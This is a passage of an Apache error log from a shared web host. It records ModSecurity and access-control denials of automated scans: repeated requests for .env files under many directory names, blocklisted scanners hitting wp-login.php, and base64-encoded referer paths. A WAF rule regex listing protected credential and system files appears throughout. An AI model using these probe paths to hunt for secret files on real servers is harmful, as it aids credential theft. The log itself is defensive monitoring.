18:17:47.680902 2026] [security2:error] [pid 646876:tid 647075] [client 185.177.72.9:30670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/minified/.env"] [unique_id "ai3zK9yTkdrNlD40tSGxDwAAAEM"] [Sat Jun 13 18:17:47.730536 2026] [access_compat:error] [pid 648189:tid 648282] [remote 57.141.14.66:38246] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:47.730827 2026] [access_compat:error] [pid 648189:tid 648282] [remote 57.141.14.66:38246] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:47.766771 2026] [security2:error] [pid 648189:tid 648394] [client 34.23.213.224:51620] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zK1WSojQL4F7upKBorgAAAK4"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:47.806713 2026] [access_compat:error] [pid 648189:tid 648328] [remote 57.141.14.6:52768] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:47.807086 2026] [access_compat:error] [pid 648189:tid 648328] [remote 57.141.14.6:52768] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:47.821963 2026] [security2:error] [pid 646876:tid 647061] [client 185.177.72.9:30670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/misc/.env"] [unique_id "ai3zK9yTkdrNlD40tSGxEgAAADU"] [Sat Jun 13 18:17:47.927585 2026] [security2:error] [pid 648189:tid 648382] [client 34.23.213.224:51632] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zK1WSojQL4F7upKBotAAAAKI"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:47.945932 2026] [access_compat:error] [pid 646876:tid 646943] [remote 57.141.14.85:46812] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:47.946404 2026] [access_compat:error] [pid 646876:tid 646943] [remote 57.141.14.85:46812] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:47.974037 2026] [security2:error] [pid 646876:tid 647067] [client 185.177.72.9:30670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/Modix/ClientApp/.env"] [unique_id "ai3zK9yTkdrNlD40tSGxGgAAADs"] [Sat Jun 13 18:17:47.977152 2026] [access_compat:error] [pid 646876:tid 646993] [remote 57.141.14.49:31291] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:47.977597 2026] [access_compat:error] [pid 646876:tid 646993] [remote 57.141.14.49:31291] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:48.089499 2026] [security2:error] [pid 646876:tid 647043] [client 34.23.213.224:47608] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zLNyTkdrNlD40tSGxHwAAACM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:48.115342 2026] [security2:error] [pid 646876:tid 647065] [client 185.177.72.9:30670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/monerod/.env"] [unique_id "ai3zLNyTkdrNlD40tSGxIQAAADk"] [Sat Jun 13 18:17:48.119872 2026] [access_compat:error] [pid 646876:tid 646889] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9kZXZpY2UvZGV2aWNl [Sat Jun 13 18:17:48.120138 2026] [access_compat:error] [pid 646876:tid 646889] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9kZXZpY2UvZGV2aWNl [Sat Jun 13 18:17:48.251405 2026] [security2:error] [pid 648189:tid 648401] [client 34.23.213.224:47620] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zLFWSojQL4F7upKBovwAAALU"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:48.256799 2026] [security2:error] [pid 646876:tid 647027] [client 185.177.72.9:30670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/mongodb/config/dev/.env"] [unique_id "ai3zLNyTkdrNlD40tSGxJAAAABM"] [Sat Jun 13 18:17:48.271831 2026] [security2:error] [pid 648189:tid 648464] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/date/tests/bug35143.phpt"] [unique_id "ai3zLFWSojQL4F7upKBowgAAAO4"] [Sat Jun 13 18:17:48.279464 2026] [security2:error] [pid 646876:tid 646961] [remote 17.241.227.73:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 73.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zLNyTkdrNlD40tSGxJQAAelI"] [Sat Jun 13 18:17:48.398366 2026] [security2:error] [pid 646876:tid 647033] [client 185.177.72.9:30670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/monitoring/compose/.env"] [unique_id "ai3zLNyTkdrNlD40tSGxKAAAABk"] [Sat Jun 13 18:17:48.411523 2026] [security2:error] [pid 648189:tid 648454] [client 34.23.213.224:47624] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zLFWSojQL4F7upKBoxwAAAOg"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:48.507382 2026] [access_compat:error] [pid 648189:tid 648311] [remote 57.141.14.30:54022] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:48.507867 2026] [access_compat:error] [pid 648189:tid 648311] [remote 57.141.14.30:54022] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:48.540764 2026] [security2:error] [pid 646876:tid 647013] [client 185.177.72.9:30670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/moodledata/.env"] [unique_id "ai3zLNyTkdrNlD40tSGxLQAAAAU"] [Sat Jun 13 18:17:48.572685 2026] [security2:error] [pid 646876:tid 647108] [client 34.23.213.224:47630] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zLNyTkdrNlD40tSGxLgAAAGQ"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:48.682100 2026] [security2:error] [pid 646876:tid 647032] [client 185.177.72.9:30670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/msks/.env"] [unique_id "ai3zLNyTkdrNlD40tSGxMQAAABg"] [Sat Jun 13 18:17:48.691243 2026] [access_compat:error] [pid 646876:tid 646999] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9ldmVudDIvcG93ZXI= [Sat Jun 13 18:17:48.691609 2026] [access_compat:error] [pid 646876:tid 646999] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9ldmVudDIvcG93ZXI= [Sat Jun 13 18:17:48.733072 2026] [security2:error] [pid 648189:tid 648335] [remote 17.22.245.30:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 30.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zLFWSojQL4F7upKBo0gAAh3A"] [Sat Jun 13 18:17:48.734117 2026] [security2:error] [pid 646876:tid 647055] [client 34.23.213.224:47632] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zLNyTkdrNlD40tSGxNQAAAC8"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:48.823846 2026] [security2:error] [pid 646876:tid 647113] [client 185.177.72.9:30670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/munki_repo/.env"] [unique_id "ai3zLNyTkdrNlD40tSGxOAAAAGk"] [Sat Jun 13 18:17:48.872919 2026] [access_compat:error] [pid 646876:tid 646997] [remote 216.73.216.223:38812] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:48.873176 2026] [access_compat:error] [pid 646876:tid 646997] [remote 216.73.216.223:38812] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:48.895056 2026] [security2:error] [pid 646876:tid 647110] [client 34.23.213.224:47634] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zLNyTkdrNlD40tSGxPgAAAGY"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:48.966479 2026] [security2:error] [pid 646876:tid 647109] [client 185.177.72.9:30670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/music/.env"] [unique_id "ai3zLNyTkdrNlD40tSGxRAAAAGU"] [Sat Jun 13 18:17:49.056508 2026] [security2:error] [pid 646876:tid 647079] [client 34.23.213.224:47644] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zLdyTkdrNlD40tSGxRgAAAEc"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:49.093975 2026] [security2:error] [pid 646876:tid 646935] [remote 17.22.245.134:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 134.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zLdyTkdrNlD40tSGxRwAALDg"] [Sat Jun 13 18:17:49.107709 2026] [security2:error] [pid 646876:tid 647072] [client 185.177.72.9:30670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/MyRentals.Web/ClientApp/.env"] [unique_id "ai3zLdyTkdrNlD40tSGxSQAAAEA"] [Sat Jun 13 18:17:49.155976 2026] [access_compat:error] [pid 648189:tid 648231] [remote 57.141.14.8:26567] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:49.156260 2026] [access_compat:error] [pid 648189:tid 648231] [remote 57.141.14.8:26567] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:49.185488 2026] [access_compat:error] [pid 646876:tid 646962] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:17:49.185953 2026] [access_compat:error] [pid 646876:tid 646962] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:17:49.217583 2026] [security2:error] [pid 648189:tid 648397] [client 34.23.213.224:47648] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zLVWSojQL4F7upKBo3QAAALE"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:49.378187 2026] [security2:error] [pid 646876:tid 647011] [client 34.23.213.224:47664] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zLdyTkdrNlD40tSGxUgAAAAM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:49.401580 2026] [security2:error] [pid 646876:tid 647093] [client 185.177.72.9:30670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/name/.env"] [unique_id "ai3zLdyTkdrNlD40tSGxUwAAAFU"] [Sat Jun 13 18:17:49.543380 2026] [security2:error] [pid 646876:tid 647035] [client 185.177.72.9:30670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/nest/.env"] [unique_id "ai3zLdyTkdrNlD40tSGxVwAAABs"] [Sat Jun 13 18:17:49.602159 2026] [access_compat:error] [pid 648189:tid 648246] [remote 57.141.14.108:25745] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:49.602436 2026] [access_compat:error] [pid 648189:tid 648246] [remote 57.141.14.108:25745] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:49.723875 2026] [access_compat:error] [pid 646876:tid 646977] [remote 74.7.241.11:37276] AH01797: client denied 